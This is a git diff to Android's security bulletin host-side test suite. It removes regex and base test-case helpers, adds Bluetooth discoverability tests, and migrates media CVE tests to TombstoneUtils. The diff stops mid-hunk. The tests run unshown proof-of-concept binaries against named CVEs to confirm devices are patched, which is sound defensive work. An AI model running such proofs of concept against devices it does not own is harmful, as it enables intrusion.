diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
deleted file mode 100644
index 9ce7e39..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import java.util.concurrent.TimeoutException;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static org.junit.Assert.*;
-
-public class RegexUtils {
- private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
- private static final int WARNING_THRESHOLD = 1000; // 1 second
- private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
-
- public static void assertContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, false);
- }
-
- public static void assertContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, true);
- }
-
- public static void assertNotContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, false);
- }
-
- public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, true);
- }
-
- private static void assertFind(
- String pattern, String input, boolean shouldFind, boolean multiline) {
- // The input string throws an error when used after the timeout
- TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
- Matcher matcher = null;
- if (multiline) {
- // DOTALL lets .* match line separators
- // MULTILINE lets ^ and $ match line separators instead of input start and end
- matcher = Pattern.compile(
- pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
- } else {
- matcher = Pattern.compile(pattern).matcher(timedInput);
- }
-
- try {
- long start = System.currentTimeMillis();
- boolean found = matcher.find();
- long duration = System.currentTimeMillis() - start;
-
- if (duration > WARNING_THRESHOLD) {
- // Provide a warning to the test developer that their regex should be optimized.
- CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
- }
-
- if (found && shouldFind) { // failed notContains
- String substring = input.substring(matcher.start(), matcher.end());
- String context = getInputContext(input, matcher.start(), matcher.end(),
- CONTEXT_RANGE, CONTEXT_RANGE);
- fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
- context + "...");
- } else if (!found && !shouldFind) { // failed contains
- fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
- }
- } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
- // regex match has taken longer than the timeout
- // this usually means the input is extremely long or the regex is catastrophic
- fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
- }
- }
-
- /*
- * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
- * grep.
- */
- private static String getInputContext(String input, int start, int end, int before, int after) {
- start = Math.max(0, start - before);
- end = Math.min(input.length(), end + after);
- return input.substring(start, end);
- }
-
- /*
- * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
- * against the timeout. If the current time is greater than the expiration time, an exception is
- * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
- */
- private static class TimeoutCharSequence implements CharSequence {
- long expireTime = 0;
- CharSequence chars = null;
-
- TimeoutCharSequence(CharSequence chars, long timeout) {
- this.chars = chars;
- expireTime = System.currentTimeMillis() + timeout;
- }
-
- @Override
- public char charAt(int index) {
- if (System.currentTimeMillis() > expireTime) {
- throw new CharSequenceTimeoutException(
- "TimeoutCharSequence was used after the expiration time.");
- }
- return chars.charAt(index);
- }
-
- @Override
- public int length() {
- return chars.length();
- }
-
- @Override
- public CharSequence subSequence(int start, int end) {
- return new TimeoutCharSequence(chars.subSequence(start, end),
- expireTime - System.currentTimeMillis());
- }
-
- @Override
- public String toString() {
- return chars.toString();
- }
-
- private static class CharSequenceTimeoutException extends RuntimeException {
- public CharSequenceTimeoutException(String message) {
- super(message);
- }
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
deleted file mode 100644
index d7a3afc7..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ /dev/null
@@ -1,367 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.compatibility.common.util.MetricsReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.ddmlib.Log;
-
-import org.junit.rules.TestName;
-import org.junit.Rule;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-
-import java.util.Map;
-import java.util.HashMap;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import java.util.concurrent.Callable;
-import java.math.BigInteger;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
-import static org.hamcrest.core.Is.is;
-
-public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
-
- private static final String LOG_TAG = "SecurityTestCase";
- private static final int RADIX_HEX = 16;
-
- protected static final int TIMEOUT_DEFAULT = 60;
- // account for the poc timer of 5 minutes (+15 seconds for safety)
- protected static final int TIMEOUT_NONDETERMINISTIC = 315;
-
- private long kernelStartTime = -1;
-
- private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
-
- @Rule public TestName testName = new TestName();
- @Rule public PocPusher pocPusher = new PocPusher();
-
- private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
- private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
- private static Map<ITestDevice, String> sTestName = new HashMap<>();
- private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
-
- @Option(name = "set-kptr_restrict",
- description = "If kptr_restrict should be set to 2 after every reboot")
- private boolean setKptr_restrict = false;
- private boolean ignoreKernelAddress = false;
-
- /**
- * Waits for device to be online, marks the most recent boottime of the device
- */
- @Before
- public void setUp() throws Exception {
- getDevice().waitForDeviceAvailable();
- getDevice().disableAdbRoot();
- updateKernelStartTime();
- // TODO:(badash@): Watch for other things to track.
- // Specifically time when app framework starts
-
- sBuildInfo.put(getDevice(), getBuild());
- sAbi.put(getDevice(), getAbi());
- sTestName.put(getDevice(), testName.getMethodName());
-
- pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
- sPocPusher.put(getDevice(), pocPusher);
-
- if (setKptr_restrict) {
- if (getDevice().enableAdbRoot()) {
- CLog.i("setting kptr_restrict to 2");
- getDevice().executeShellCommand("echo 2 > /proc/sys/kernel/kptr_restrict");
- getDevice().disableAdbRoot();
- } else {
- // not a rootable device
- ignoreKernelAddress = true;
- }
- }
- }
-
- /**
- * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
- * (due to rounding) of the previous boottime to check if The phone has crashed.
- */
- @After
- public void tearDown() throws Exception {
- try {
- getDevice().waitForDeviceAvailable(90 * 1000);
- } catch (DeviceNotAvailableException e) {
- // Force a disconnection of all existing sessions to see if that unsticks adbd.
- getDevice().executeAdbCommand("reconnect");
- getDevice().waitForDeviceAvailable(30 * 1000);
- }
-
- if (kernelStartTime != -1) {
- // only fail when the kernel start time is valid
- long deviceTime = getDeviceUptime() + kernelStartTime;
- long hostTime = System.currentTimeMillis() / 1000;
- assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
- kernelStartTime = -1;
- }
-
- // TODO(badash@): add ability to catch runtime restart
- }
-
- public static IBuildInfo getBuildInfo(ITestDevice device) {
- return sBuildInfo.get(device);
- }
-
- public static IAbi getAbi(ITestDevice device) {
- return sAbi.get(device);
- }
-
- public static String getTestName(ITestDevice device) {
- return sTestName.get(device);
- }
-
- public static PocPusher getPocPusher(ITestDevice device) {
- return sPocPusher.get(device);
- }
-
- // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
- // b/123237827
- @Deprecated
- public void assertMatches(String pattern, String input) throws Exception {
- RegexUtils.assertContains(pattern, input);
- }
-
- @Deprecated
- public void assertMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertContainsMultiline(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatches(String pattern, String input) throws Exception {
- RegexUtils.assertNotContains(pattern, input);
- }
-
- @Deprecated
- public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- RegexUtils.assertNotContainsMultiline(pattern, input);
- }
-
- /**
- * Runs a provided function that collects a String to test against kernel pointer leaks.
- * The getPtrFunction function implementation must return a String that starts with the
- * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
- * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
- * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
- * normal kernel space. The test re-runs to make false positives statistically insignificant.
- * When kernel pointers won't change without a reboot, provide a device to reboot.
- *
- * @param getPtrFunction a function that returns a string that starts with a pointer
- * @param deviceToReboot device to reboot when kernel pointers won't change
- */
- public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
- throws Exception {
- assumeFalse("Cannot set kptr_restrict to 2, ignoring kptr test.", ignoreKernelAddress);
- String ptr = null;
- for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
- ptr = getPtrFunction.call();
- if (ptr == null) {
- return;
- }
- if (!isKptr(ptr)) {
- // quit early because the ptr is likely hashed or zeroed.
- return;
- }
- if (deviceToReboot != null) {
- deviceToReboot.nonBlockingReboot();
- deviceToReboot.waitForDeviceAvailable();
- updateKernelStartTime();
- }
- }
- fail("\"" + ptr + "\" is an exposed kernel pointer.");
- }
-
- private boolean isKptr(String ptr) {
- Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
- if (!m.find() || m.start() != 0) {
- // ptr string is malformed
- return false;
- }
- int length = m.end();
-
- if (length == 8) {
- // 32-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
- // 0x3fffffff bytes = 1GB / 0xffffffff = 4 GB
- // 1 in 4 collision for hashed pointers
- return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
- } else if (length == 16) {
- // 64-bit pointer
- BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
- // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
- // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
- // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
- // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
- return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
- }
-
- return false;
- }
-
- /**
- * Check if a driver is present and readable.
- */
- protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- return containsDriver(device, driver, true);
- }
-
- /**
- * Check if a driver is present on a machine.
- */
- protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
- throws Exception {
- boolean containsDriver = false;
- if (driver.contains("*")) {
- // -A list all files but . and ..
- // -d directory, not contents
- // -1 list one file per line
- // -f unsorted
- String ls = "ls -A -d -1 -f " + driver;
- if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
- String[] expanded = device.executeShellCommand(ls).split("\\R");
- for (String expandedDriver : expanded) {
- containsDriver |= containsDriver(device, expandedDriver, checkReadable);
- }
- }
- } else {
- if(checkReadable) {
- containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
- } else {
- containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
- }
- }
-
- MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
- reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit();
-
- return containsDriver;
- }
-
- protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
- IBuildInfo buildInfo = getBuildInfo(device);
- IAbi abi = getAbi(device);
- String testName = getTestName(device);
-
- StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
- int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
- String className = stacktraces[stackDepth].getClassName();
- String methodName = stacktraces[stackDepth].getMethodName();
- String classMethodName = String.format("%s#%s", className, methodName);
-
- // The stream name must be snake_case or else json formatting breaks
- String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
-
- MetricsReportLog reportLog = new MetricsReportLog(
- buildInfo,
- abi.getName(),
- classMethodName,
- "CtsSecurityBulletinHostTestCases",
- streamName,
- true);
- reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
- return reportLog;
- }
-
- private long getDeviceUptime() throws DeviceNotAvailableException {
- String uptime = null;
- int attempts = 5;
- do {
- if (attempts-- <= 0) {
- throw new RuntimeException("could not get device uptime");
- }
- getDevice().waitForDeviceAvailable();
- uptime = getDevice().executeShellCommand("cat /proc/uptime").trim();
- } while (uptime.isEmpty());
- return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
- }
-
- public void safeReboot() throws DeviceNotAvailableException {
- getDevice().nonBlockingReboot();
- getDevice().waitForDeviceAvailable();
- updateKernelStartTime();
- }
-
- /**
- * Allows a test to pass if called after a planned reboot.
- */
- public void updateKernelStartTime() throws DeviceNotAvailableException {
- long uptime = getDeviceUptime();
- kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
- }
-
- /**
- * Return true if a module is play managed.
- *
- * Example of skipping a test based on mainline modules:
- * <pre>
- * @Test
- * public void testPocCVE_1234_5678() throws Exception {
- * // This will skip the test if MODULE_METADATA mainline module is play managed.
- * assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
- * // Do testing...
- * }
- * * </pre>
- */
- boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
- return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
- }
-
- public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
- String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
- "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
- "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
- "/dev/st54j*", "/dev/st21nfc*" };
- boolean isDriverFound = false;
- for(String supportedDriver : supportedDrivers) {
- if(containsDriver(device, supportedDriver, false)) {
- isDriverFound = true;
- break;
- }
- }
- String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
- String nfcDevice = null;
- for (String line : output) {
- if(line.contains("nfc")) {
- String text[] = line.split("\\s+");
- nfcDevice = text[text.length - 1];
- }
- }
- assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
- isDriverFound);
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
new file mode 100644
index 0000000..4a0d32d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestBluetoothDiscoverable extends NonRootSecurityTestCase {
+ private final String mTestPkg = "android.security.cts.TestBluetoothDiscoverable";
+ private final String mTestClass = mTestPkg + "." + "DeviceTest";
+
+ @Before
+ public void setUp() {
+ try {
+ // Install test app
+ installPackage("TestBluetoothDiscoverable.apk");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", getDevice());
+ } catch (Exception e) {
+ // Ignore exceptions here
+ }
+ }
+
+
+ // b/228450811
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 228450811)
+ @Test
+ public void testPocCVE_2022_20347() {
+ try {
+ runDeviceTests(mTestPkg, mTestClass, "testConnectedDeviceDashboardFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ // b/244423101
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 244423101)
+ @Test
+ public void testPocCVE_2023_20946() {
+ try {
+ runDeviceTests(mTestPkg, mTestClass, "testBluetoothDashboardFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index c4d37b0..cc33604 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -16,27 +16,26 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.compatibility.common.util.CrashUtils;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeThat;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
import junit.framework.Assert;
-import java.util.Arrays;
-import java.util.ArrayList;
-import static org.junit.Assume.*;
-import static org.hamcrest.CoreMatchers.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class TestMedia extends SecurityTestCase {
-
+public class TestMedia extends NonRootSecurityTestCase {
/******************************************************************************
* To prevent merge conflicts, add tests for N below this comment, before any
@@ -125,10 +124,14 @@
@Test
@AsbSecurityTest(cveBugId = 156997193)
public void testPocCVE_2020_0409() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2020-0409";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -140,10 +143,14 @@
@Test
@AsbSecurityTest(cveBugId = 161894517)
public void testPocCVE_2020_0421() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2020-0421";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -260,7 +267,11 @@
@Test
@AsbSecurityTest(cveBugId = 74122779)
public void testPocCVE_2018_9428() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
}
@@ -271,9 +282,13 @@
@Test
@AsbSecurityTest(cveBugId = 64340921)
public void testPocCVE_2017_0837() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -288,9 +303,13 @@
@AsbSecurityTest(cveBugId = 62151041)
public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9047";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -302,9 +321,13 @@
@AsbSecurityTest(cveBugId = 62151041)
public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9048";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -317,9 +340,13 @@
public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9049";
String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -335,9 +362,13 @@
public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9049";
String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -354,9 +385,13 @@
public void testPocCVE_2015_3873() throws Exception {
String inputFiles[] = {"cve_2015_3873.mp4"};
String binaryName = "CVE-2015-3873";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -499,9 +534,13 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
String inputFiles[] = {"cve_2020_0451.aac"};
String binaryName = "CVE-2020-0451";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -549,10 +588,14 @@
@Test
@AsbSecurityTest(cveBugId = 120426980)
public void testPocCVE_2019_9362() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2019-9362";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -566,9 +609,13 @@
public void testPocCVE_2019_9308() throws Exception {
String inputFiles[] = {"cve_2019_9308.mp4"};
String binaryName = "CVE-2019-9308";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -583,10 +630,14 @@
@Test
@AsbSecurityTest(cveBugId = 112662995)
public void testPocCVE_2019_9357() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
